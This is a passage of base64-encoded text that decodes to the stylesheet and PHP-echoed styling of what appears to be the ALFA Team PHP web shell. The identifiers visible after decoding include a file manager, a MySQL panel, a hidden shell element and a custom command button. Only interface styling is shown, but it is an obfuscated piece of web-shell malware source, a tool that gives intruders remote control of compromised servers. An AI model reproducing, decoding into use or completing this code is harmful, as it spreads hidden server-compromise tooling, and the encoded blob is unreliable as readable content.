B4KXsuYWxlcnQtYXJlYXt3aWR0aDozNTBweDtsZWZ0OmF1dG87cmlnaHQ6MDt6LWluZGV4Ojk5OTl9fUBrZXlmcmFtZXMgdGFiX2NoYW5nZV9jb2xvcnswJXtiYWNrZ3JvdW5kLWNvbG9yOiMxMzNkNTF9NTAle2JhY2tncm91bmQtY29sb3I6Z3JlZW59fUAtd2Via2l0LWtleWZyYW1lcyBhbGVydC1zaGFrZXswJXstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVYKDApfTIwJXstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVYKC0xMHB4KX00MCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgxMHB4KX02MCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTBweCl9ODAley13ZWJraXQtdHJhbnNmb3JtOnRyYW5zbGF0ZVgoMTBweCl9MTAwJXstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVYKDApfX1Aa2V5ZnJhbWVzIGFsZXJ0LXNoYWtlezAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKDApfTIwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTBweCl9NDAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKDEwcHgpfTYwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTBweCl9ODAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKDEwcHgpfTEwMCV7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoMCl9fS50ZXh0RWZmZWN0e3Bvc2l0aW9uOmFic29sdXRlO3dpZHRoOjUwMHB4O3RvcDotMTBweDthbmltYXRpb246YWxlcnQtc2hha2UgLjVzIGVhc2UtaW4tb3V0O2FuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6Mn0uYWxmYXRlYW0tbG9hZGVyLXRleHR7cG9zaXRpb246YWJzb2x1dGU7Y29sb3I6IzQ2YmI0NTt0b3A6MjMlO2xlZnQ6NDklO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTtmb250LXNpemU6NDBweDtsZXR0ZXItc3BhY2luZzo3cHh9LmFsZmEtYWpheC1lcnJvcntwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojZmYwYTBhO3RvcDo1MCU7bGVmdDo1MCU7dHJhbnNmb3JtOnRyYW5zbGF0ZSgtNTAlLC01MCUpO2ZvbnQtc2l6ZTozMHB4fS5jb25uZWN0aW9uLWhpc3QtdGFibGV7bWFyZ2luLWxlZnQ6YXV0bzttYXJnaW4tcmlnaHQ6YXV0bzt0ZXh0LWFsaWduOmp1c3RpZnk7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlfS5jb25uZWN0aW9uLWhpc3QtdGFibGUgdGQsLmNvbm5lY3Rpb24taGlzdC10YWJsZSB0aHtib3JkZXI6MXB4IHNvbGlkICNkZGQ7dGV4dC1hbGlnbjpsZWZ0O3BhZGRpbmc6OHB4fS5jb25uZWN0aW9uLWhpcy1idG57bWFyZ2luLWJvdHRvbToxMHB4O3BhZGRpbmc6NXB4O2JhY2tncm91bmQ6IzIwNjkyMDtjb2xvcjojZmZmO2JvcmRlcjpub25lO291dGxpbmU6MDtjdXJzb3I6cG9pbnRlcjtmb250LXdlaWdodDo3MDA7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kIC4zc30uY29ubmVjdGlvbi1oaXMtYnRuLmNvbm5lY3Rpb24tZGVsZXRle21hcmdpbjp1bnNldDtwYWRkaW5nOjVweDtiYWNrZ3JvdW5kOnJlZDt3aWR0aDozM3B4O2JvcmRlci1yYWRpdXM6M3B4O3RyYW5zaXRpb246YmFja2dyb3VuZCAuM3N9LmNvbm5lY3Rpb24tZGVsZXRlOmhvdmVye2JhY2tncm91bmQ6I2Y1Njk2OSFpbXBvcnRhbnR9LmNvbm5lY3Rpb24taGlzLWJ0bjpob3ZlcntiYWNrZ3JvdW5kOiMzMGIzMzB9I3VwX2Jhcl9ob2xkZXJ7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDoxMDAwMDA7d2lkdGg6MTAwJX0jZmlsZXNtYW5fdGFic3twYWRkaW5nOjhweDtib3JkZXI6MXB4IHNvbGlkICMwZTMwNGE7Y29sb3I6IzY3YWJkZjtvdmVyZmxvdy14OmF1dG87d2hpdGUtc3BhY2U6bm93cmFwfS5zb3J0YWJsZS1naG9zdHtvcGFjaXR5Oi41O2JhY2tncm91bmQ6I2M4ZWJmYn0uZm9sZGVyLXRhYi1pY29ue3dpZHRoOjE2cHghaW1wb3J0YW50fSNmaWxlc21hbi10YWItZnVsbC1wYXRoe2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjphYnNvbHV0ZTtwb2ludGVyLWV2ZW50czpub25lO2JhY2tncm91bmQ6IzE2Mzc0NjtwYWRkaW5nOjdweDtjb2xvcjojMGYwO2JvcmRlci1yYWRpdXM6MTBweDttaW4td2lkdGg6NThweDt6LWluZGV4OjEwfSNmaWxlc21hbi10YWItZnVsbC1wYXRoOjphZnRlcntjb250ZW50OiIiO3Bvc2l0aW9uOmFic29sdXRlO3RvcDoxMDAlO2xlZnQ6MzVweDttYXJnaW4tbGVmdDotNXB4O2JvcmRlci13aWR0aDo1cHg7Ym9yZGVyLXN0eWxlOnNvbGlkO3BvaW50ZXItZXZlbnRzOm5vbmU7Ym9yZGVyLWNvbG9yOiMxNjM3NDYgdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnR9Lm15c3FsLW1haW57aGVpZ2h0Ojg0dmg7cG9zaXRpb246cmVsYXRpdmV9Lm15c3FsLWhpZGUtY29udGVudHtkaXNwbGF5Om5vbmV9Lm15c3FsLXF1ZXJ5LXJlc3VsdC10YWJze21hcmdpbi1ib3R0b206MTBweDtwYWRkaW5nOjNweDtib3JkZXItYm90dG9tOjRweCBzb2xpZCAjMGYzMDRhfS5teXNxbC1tYWluIC50YWJsZXMtcGFuZWwtY3Rse3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOiNmZmY7cGFkZGluZzoxMHB4O3otaW5kZXg6MTtib3JkZXItcmFkaXVzOjEwcHg7dG9wOjQ1JTtsZWZ0OmNhbGMoMTclICsgMTBweCk7YmFja2dyb3VuZC1jb2xvcjojMDA5Njg3O2N1cnNvcjpwb2ludGVyfS50YWJsZXMtcGFuZWwtY3RsLW1pbntsZWZ0Oi0yMXB4IWltcG9ydGFudH0ubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2e2Rpc3BsYXk6aW5saW5lLWJsb2NrO3BhZGRpbmc6NXB4O21hcmdpbi1yaWdodDoycHg7YmFja2dyb3VuZDojMTMzZDUxO2NvbG9yOiNmZmY7Y3Vyc29yOnBvaW50ZXI7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kLWNvbG9yIC41c30ubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2OmhvdmVye2JhY2tncm91bmQtY29sb3I6I2EyMzkzOX0ubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Lm15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYntiYWNrZ3JvdW5kOnJlZH10YWJsZSB0ci50Ymxfcm93Om50aC1jaGlsZChvZGQpe2JhY2tncm91bmQ6IzQyNDA0MH0ubXlzcWwtdGFibGVzIC50YWJsZXMtcm93e21hcmdpbi1sZWZ0OjI2cHh9Lm15c3FsLW1haW4gLm15c3FsLXF1ZXJ5LXJlc3VsdHMsLm15c3FsLW1haW4gLm15c3FsLXRhYmxlc3tmbG9hdDpsZWZ0O2hlaWdodDoxMDAlO292ZXJmbG93OmF1dG99Lm15c3FsLW1haW4gLm15c3FsLXF1ZXJ5LXJlc3VsdHN7d2lkdGg6Y2FsYyg4MCUgKyA0cHgpO21hcmdpbi1sZWZ0OjVweDtwb3NpdGlvbjpyZWxhdGl2ZTtvdmVyZmxvdzp1bnNldH0ubXlzcWwtbWFpbiAubXlzcWwtcXVlcnktcmVzdWx0cy1maXhlZHt3aWR0aDoxMDAlfS5teXNxbC1tYWluIC5teXNxbC1xdWVyeS1yZXN1bHRzIC5teXNxbC1xdWVyeS1jb250ZW50e2hlaWdodDo4OSU7b3ZlcmZsb3c6YXV0b30ubXlzcWwtcXVlcnktdGFiLWhpZGV7aGVpZ2h0OjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnR9Lm15c3FsLW1haW4gLm15c3FsLXRhYmxlc3t3aWR0aDoxOSU7Ym9yZGVyLXJpZ2h0OjRweCBzb2xpZCAjMGUzMDRhfS5teXNxbC1tYWluIHRhYmxlIHRke3ZlcnRpY2FsLWFsaWduOnRvcH0ubXlzcWwtbWFpbiAubXlzcWwtc2VhcmNoLWFyZWEgdGFibGUgdGR7dmVydGljYWwtYWxpZ246bWlkZGxlO3BhZGRpbmc6N3B4fS5teXNxbC10YWJsZXMgLmJsb2Nre3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjEuNWVtO2hlaWdodDoxLjVlbTttaW4td2lkdGg6MTZweDttaW4taGVpZ2h0OjE2cHg7ZmxvYXQ6bGVmdH0ubXlzcWwtdGFibGVzIGRpdi5ibG9jayBiLC5teXNxbC10YWJsZXMgZGl2LmJsb2NrIGl7d2lkdGg6MS41ZW07aGVpZ2h0OjEuN2VtO21pbi13aWR0aDoxNnB4O21pbi1oZWlnaHQ6OHB4O3Bvc2l0aW9uOmFic29sdXRlO2JvdHRvbTouN2VtO2xlZnQ6Ljc1ZW07ei1pbmRleDowfS5teXNxbC10YWJsZXMgLmJsb2NrIGl7ZGlzcGxheTpibG9jaztib3JkZXItbGVmdDoxcHggc29saWQgIzY2Njtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjNjY2O3Bvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6MH0ubXlzcWwtdGFibGVzIC5ibG9jayBie2Rpc3BsYXk6YmxvY2s7aGVpZ2h0Oi43NWVtO2JvdHRvbTowO2xlZnQ6Ljc1ZW07Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM2NjZ9Lm15c3FsLXRhYmxlcyBkaXYuYmxvY2sgYSwubXlzcWwtdGFibGVzIGRpdi5ibG9jayB1e3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6NTAlO3RvcDo1MCU7ei1pbmRleDoxMH0ubXlzcWwtdGFibGVzIGRpdi5ibG9jayBpbWd7cG9zaXRpb246cmVsYXRpdmU7dG9wOi0uNmVtO2xlZnQ6MDttYXJnaW4tbGVmdDotN3B4fS5teXNxbC10YWJsZXMgLmNsZWFyZmxvYXR7Y2xlYXI6Ym90aH0ubXlzcWwtdGFibGVzIHVse2xpc3Qtc3R5bGUtdHlwZTpub25lO21hcmdpbi1sZWZ0OjA7cGFkZGluZzowfS5teXNxbC10YWJsZXMgdWwgbGl7d2hpdGUtc3BhY2U6bm93cmFwO2NsZWFyOmJvdGg7bWluLWhlaWdodDoxNnB4fS5teXNxbC10YWJsZXMgLmRiX25hbWV7bWFyZ2luLWxlZnQ6MTBweH0ubXlzcWwtdGFibGVzIC5saXN0X2NvbnRhaW5lcntib3JkZXItbGVmdDoxcHggc29saWQgIzY2NjttYXJnaW4tbGVmdDouNzVlbTtwYWRkaW5nLWxlZnQ6Ljc1ZW19LmhpZGUtZGItdGFibGVze2Rpc3BsYXk6bm9uZX0ubXlzcWwtbWFpbjphZnRlcntjb250ZW50OiIiO2Rpc3BsYXk6dGFibGU7Y2xlYXI6Ym90aH10YWJsZS5teXNxbC1kYXRhLXRibHtib3JkZXI6bm9uZSFpbXBvcnRhbnQ7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlIWltcG9ydGFudH10YWJsZS5teXNxbC1kYXRhLXRibCB0ciB0aHtwYWRkaW5nOjVweH10YWJsZS5teXNxbC1kYXRhLXRibCB0ZHtib3JkZXItbGVmdDozcHggc29saWQgIzMwNWE4ZDtib3JkZXItcmlnaHQ6M3B4IHNvbGlkICMzMDVhOGQ7cGFkZGluZzo2cHh9dGFibGUubXlzcWwtZGF0YS10YmwgdGQ6Zmlyc3QtY2hpbGR7Ym9yZGVyLWxlZnQ6bm9uZX10YWJsZS5teXNxbC1kYXRhLXRibCB0ZDpsYXN0LWNoaWxke2JvcmRlci1yaWdodDpub25lfS5teXNxbC1pbnNlcnQtcmVzdWx0LC5teXNxbC1zdHJ1Y3R1cmUtcXJlcywubXlzcWwtdXBkYXRlLXJlc3VsdHtkaXNwbGF5Om5vbmU7dGV4dC1hbGlnbjpjZW50ZXI7cGFkZGluZzoxMHB4O2JvcmRlcjoxcHggZGFzaGVkO21hcmdpbjoyMnB4fSNhbGZhLWNvcHlyaWdodHttYXJnaW4tdG9wOjE1cHh9LmljX2JfcGx1c3tiYWNrZ3JvdW5kLWltYWdlOnVybChodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvYl9wbHVzLnBuZyl9LmljX2JfbWludXN7YmFja2dyb3VuZC1pbWFnZTp1cmwoaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2JfbWludXMucG5nKX0KPD9waHAgZWNobyAnCkBrZXlmcmFtZXMgc3BpbiB7ZnJvbSB7dHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRve3RyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0KQC13ZWJraXQta2V5ZnJhbWVzIHNwaW4ge2Zyb20gey13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRvIHstd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0KQC1tb3ota2V5ZnJhbWVzIHNwaW4ge2Zyb20gey1tb3otdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRvIHstbW96LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0KQC1tcy1rZXlmcmFtZXMgc3BpbiB7ZnJvbSB7LW1zLXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO310byB7LW1zLXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0KI2FsZmFsb2FkZXJ7Jy4kY3NzY29kZS4nd2lkdGg6MTAwcHg7aGVpZ2h0OjEwMHB4O30KI2FfbG9hZGVyIGltZ3snLiRjc3Njb2RlLid3aWR0aDoxNTBweDtoZWlnaHQ6MTUwcHg7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDo5OTk5OTk7dG9wOiAzMSU7bGVmdDogNDUlO30KLmFqYXhhcmVhe2Rpc3BsYXk6bm9uZTtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7Y29sb3I6IzY3QUJERn0udXBfYmFye21hcmdpbi1ib3R0b206IDJweDt0cmFuc2l0aW9uOndpZHRoIDJzO2JhY2tncm91bmQtY29sb3I6cmVkO3dpZHRoOjA7aGVpZ2h0OjhweDtkaXNwbGF5Om5vbmU7fSNoaWRkZW5fc2h7YmFja2dyb3VuZC1jb2xvcjojMEUzMDRBO3RleHQtYWxpZ246Y2VudGVyO3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0OjA7bGVmdDo5MCU7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czoyZW19LmFsZXJ0X2dyZWVue2NvbG9yOiMwRjA7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2ZvbnQtc2l6ZTpzbWFsbDt0ZXh0LWRlY29yYXRpb246bm9uZX0ud2hvbGV7YmFja2dyb3VuZC1jb2xvcjojMDAwO30uaGVhZGVye2hlaWdodDphdXRvO3dpZHRoOmF1dG87Ym9yZGVyOjdweCBzb2xpZCAjMEUzMDRBO2NvbG9yOicuYWxmYV9nZXRDb2xvcigiaGVhZGVyX3ZhbHVlcyIpLic7Zm9udC1zaXplOjEycHg7Zm9udC1mYW1pbHk6VmVyZGFuYSxHZW5ldmEsc2Fucy1zZXJpZn0uaGVhZGVyIGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fS5maWxlc3Rvb2xzIGF7Y29sb3I6IzBGMDt0ZXh0LWRlY29yYXRpb246bm9uZX0uZmlsZXN0b29scyBhOmhvdmVye2NvbG9yOiNGRkY7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fXNwYW57Zm9udC13ZWlnaHQ6Ym9sZGVyO2NvbG9yOiNGRkZ9LnR4dGZvbnR7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2ZvbnQtc2l6ZTpzbWFsbDtjb2xvcjojZmZmO2Rpc3BsYXk6aW5saW5lLWJsb2NrfS50eHRmb250X2hlYWRlcntmb250LWZhbWlseToiQ29taWMgU2FucyBNUyI7Zm9udC1zaXplOmxhcmdlO2Rpc3BsYXk6aW5saW5lLWJsb2NrO2NvbG9yOiM1OWNjMzN9LnRibHR4dHtmb250LWZhbWlseToiQ29taWMgU2FucyBNUyI7Y29sb3I6I2ZmZjtmb250LXNpemU6c21hbGw7ZGlzcGxheTppbmxpbmUtYmxvY2t9aW5wdXRbdHlwZT0iZmlsZSJde2Rpc3BsYXk6bm9uZX0uaW5wdXRmaWxle2JvcmRlcjoxcHggc29saWQgIzBFMzA0QTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2JveC1zaGFkb3c6MCAwIDRweCAjMEUzMDRBO2JvcmRlci1yYWRpdXM6NHB4O2hlaWdodDoyMHB4O3dpZHRoOjI1MHB4O3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7d2hpdGUtc3BhY2U6bm93cmFwO2N1cnNvcjpwb2ludGVyO2Rpc3BsYXk6aW5saW5lLWJsb2NrO292ZXJmbG93OmhpZGRlbn0uaW5wdXRmaWxlOmhvdmVye2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO2JvcmRlcjoxcHggc29saWQgIzI3OTc5Qjstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fS5pbnB1dGZpbGUgc3BhbiwuaW5wdXRmaWxlIHN0cm9uZ3twYWRkaW5nOjJweDtwYWRkaW5nLWxlZnQ6MTBweH0uaW5wdXRmaWxlIHNwYW57Y29sb3I6IzI1ZmYwMDt3aWR0aDo5MHB4O21pbi1oZWlnaHQ6MmVtO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7d2hpdGUtc3BhY2U6bm93cmFwO292ZXJmbG93OmhpZGRlbjt2ZXJ0aWNhbC1hbGlnbjp0b3A7ZmxvYXQ6bGVmdH0uaW5wdXRmaWxlIHN0cm9uZ3tiYWNrZ3JvdW5kLWltYWdlOnVybCgnLl9fc2hvd2ljb24oJ2FsZmFtaW5pJykuJyk7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtcG9zaXRpb246ZmxvYXQ7aGVpZ2h0OjEwMCU7d2lkdGg6MTA5cHg7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiMwRTMwNEE7ZGlzcGxheTppbmxpbmUtYmxvY2s7ZmxvYXQ6cmlnaHR9LmlucHV0ZmlsZTpmb2N1cyBzdHJvbmcsLmlucHV0ZmlsZS5oYXMtZm9jdXMgc3Ryb25nLC5pbnB1dGZpbGU6aG92ZXIgc3Ryb25ne2JhY2tncm91bmQtY29sb3I6IzQ2NjQ3QX0uYnV0dG9ue3BhZGRpbmc6M3B4fSNhZGR1cCwuYnV0dG9ue291dGxpbmU6bm9uZTtjdXJzb3I6cG9pbnRlcjtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czoxMDBweDstd2Via2l0LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzojNTU1IDAgMCA0cHg7YmFja2dyb3VuZC1jb2xvcjojMDAwO2NvbG9yOmdyZWVuO2JvcmRlci1yYWRpdXM6MTAwcHh9I2FkZHVwOmhvdmVyLC5idXR0b246aG92ZXJ7Ym94LXNoYWRvdzowIDAgNHB4ICMyNzk3OUI7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCOy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjEwMHB4Oy13ZWJraXQtYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH1pbnB1dFt0eXBlPXRleHRdOmRpc2FibGVkOmhvdmVye2N1cnNvcjpub3QtYWxsb3dlZH10ZHtwYWRkaW5nOicuKCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWNvbnMnXT09JzEnPycwJzonMScpLidweH0ubXlDaGVja2JveHtwYWRkaW5nLWxlZnQ6MnB4fS5teUNoZWNrYm94IGxhYmVse2Rpc3BsYXk6aW5saW5lLWJsb2NrO2N1cnNvcjpwb2ludGVyO3Bvc2l0aW9uOnJlbGF0aXZlfS5teUNoZWNrYm94IGlucHV0W3R5cGU9Y2hlY2tib3hde2Rpc3BsYXk6bm9uZX0ubXlDaGVja2JveCBsYWJlbDpiZWZvcmV7Y29udGVudDoiIjtkaXNwbGF5OmlubGluZS1ibG9jazt3aWR0aDoxNHB4O2hlaWdodDoxM3B4O3Bvc2l0aW9uOmFic29sdXRlO2JhY2tncm91bmQtY29sb3I6I2FhYTtib3gtc2hhZG93Omluc2V0IDAgMnB4IDNweCAwIHJnYmEoMCwwLDAsLjMpLDAgMXB4IDAgMCByZ2JhKDI1NSwyNTUsMjU1LC44KX0ubXlDaGVja2JveCBsYWJlbHttYXJnaW4tYm90dG9tOjE1cHg7cGFkZGluZy1yaWdodDoxN3B4fS5teUNoZWNrYm94IGxhYmVsOmJlZm9yZXtib3JkZXItcmFkaXVzOjEwMHB4fWlucHV0W3R5cGU9Y2hlY2tib3hdOmNoZWNrZWQgKyBsYWJlbDpiZWZvcmV7Y29udGVudDoiIjtiYWNrZ3JvdW5kLWNvbG9yOiMwRTMwNEE7YmFja2dyb3VuZC1pbWFnZTp1cmwoJy5fX3Nob3dpY29uKCdhbGZhbWluaScpLicpO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDtiYWNrZ3JvdW5kLXBvc2l0aW9uOjUwJSA1MCU7YmFja2dyb3VuZC1zaXplOjE0cHggMTRweDtib3gtc2hhZG93OjAgMCA0cHggIzBGMH0jbWV1bmxpc3R7Zm9udC1mYW1pbHk6VmVyZGFuYSxHZW5ldmEsc2Fucy1zZXJpZjtjb2xvcjojRkZGO3dpZHRoOmF1dG87Ym9yZGVyLXJpZ2h0LXdpZHRoOjdweDtib3JkZXItbGVmdC13aWR0aDo3cHg7aGVpZ2h0OmF1dG87Zm9udC1zaXplOjEycHg7Zm9udC13ZWlnaHQ6NzAwO2JvcmRlci10b3Atd2lkdGg6MDtib3JkZXItY29sb3I6IzBFMzA0QTtib3JkZXItc3R5bGU6c29saWR9Lndob2xlICNtZXVubGlzdCB1bHt0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46MDtwYWRkaW5nOjVweCA1cHggNXB4IDVweDt9Ci53aG9sZSAjbWV1bmxpc3QgbGl7ZGlzcGxheTppbmxpbmU7cGFkZGluZzowO30ud2hvbGUgI21ldW5saXN0IGF7Zm9udC1mYW1pbHk6YXJpYWwsc2Fucy1zZXJpZjtmb250LXNpemU6MTRweDt0ZXh0LWRlY29yYXRpb246bm9uZTtmb250LXdlaWdodDo3MDA7Y2xlYXI6Ym90aDt3aWR0aDoxMHB4O3BhZGRpbmc6M3B4IDE1cHh9LmZvb3R7Zm9udC1mYW1pbHk6VmVyZGFuYSxHZW5ldmEsc2Fucy1zZXJpZjttYXJnaW46MDtwYWRkaW5nOjA7d2lkdGg6MTAwJTt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXNpemU6MTJweDtjb2xvcjojMEUzMDRBO2JvcmRlci1yaWdodC13aWR0aDo3cHg7Ym9yZGVyLWxlZnQtd2lkdGg6N3B4O2JvcmRlci1ib3R0b20td2lkdGg6N3B4O2JvcmRlci1ib3R0b20tc3R5bGU6c29saWQ7Ym9yZGVyLXJpZ2h0LXN0eWxlOnNvbGlkO2JvcmRlci1yaWdodC1zdHlsZTpzb2xpZDtib3JkZXItbGVmdC1zdHlsZTpzb2xpZDtib3JkZXItY29sb3I6IzBFMzA0QX0jdGV4dHt0ZXh0LWFsaWduOmNlbnRlcn1pbnB1dFt0eXBlPXN1Ym1pdF17Y3Vyc29yOnBvaW50ZXI7YmFja2dyb3VuZC1jb2xvcjojMDAwO2NvbG9yOiMyNzk3OUI7d2lkdGg6MzBweDtoZWlnaHQ6MzBweDtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7Ym9yZGVyLXJhZGl1czoxMHB4fXRleHRhcmVhe3BhZGRpbmc6M3B4O2NvbG9yOiM5OTk7dGV4dC1zaGFkb3c6Izc3NyAwIDAgM3B4O2JvcmRlcjoxcHggc29saWQgIzBFMzA0QTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2JveC1zaGFkb3c6MCAwIDRweCAjMEUzMDRBO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzojNTU1IDAgMCA0cHh9dGV4dGFyZWE6aG92ZXJ7Y29sb3I6I0ZGRjt0ZXh0LXNoYWRvdzojMDYwIDAgMCA2cHg7Ym94LXNoYWRvdzowIDAgNHB4ICMyNzk3OUI7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHh9aW5wdXRbdHlwZT10ZXh0XSxpbnB1dFt0eXBlPW51bWJlcl0sLmFsZmFfY3VzdG9tX2NtZF9idG57cGFkZGluZzozcHg7Y29sb3I6Izk5OTt0ZXh0LXNoYWRvdzojNzc3IDAgMCAzcHg7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Ym94LXNoYWRvdzowIDAgNHB4ICMwRTMwNEE7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzojNTU1IDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OiM1NTUgMCAwIDRweH1pbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXJ7Y29sb3I6I2ZmZjt0ZXh0LXNoYWRvdzojMDYwIDAgMCA2cHg7Ym94LXNoYWRvdzowIDAgNHB4ICMyNzk3OUI7Ym9yZGVyOjJweCBzb2xpZCAjMjc5NzlCOy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czoxMDBweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHh9aW5wdXRbdHlwZT10ZXh0XTpob3Zlcntjb2xvcjojRkZGO3RleHQtc2hhZG93OiMwNjAgMCAwIDZweDtib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH1zZWxlY3R7cGFkZGluZzozcHg7d2lkdGg6MTYycHg7Y29sb3I6I0ZGRTt0ZXh0LXNoYWRvdzojMDAwIDAgMnB4IDdweDtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7YmFja2dyb3VuZDojMDAwO3RleHQtZGVjb3JhdGlvbjpub25lO2JveC1zaGFkb3c6MCAwIDRweCAjMEUzMDRBO3BhZGRpbmc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzojNTU1IDAgMCA0cHh9c2VsZWN0OmhvdmVye2JvcmRlcjoxcHggc29saWQgIzI3OTc5Qjtib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Q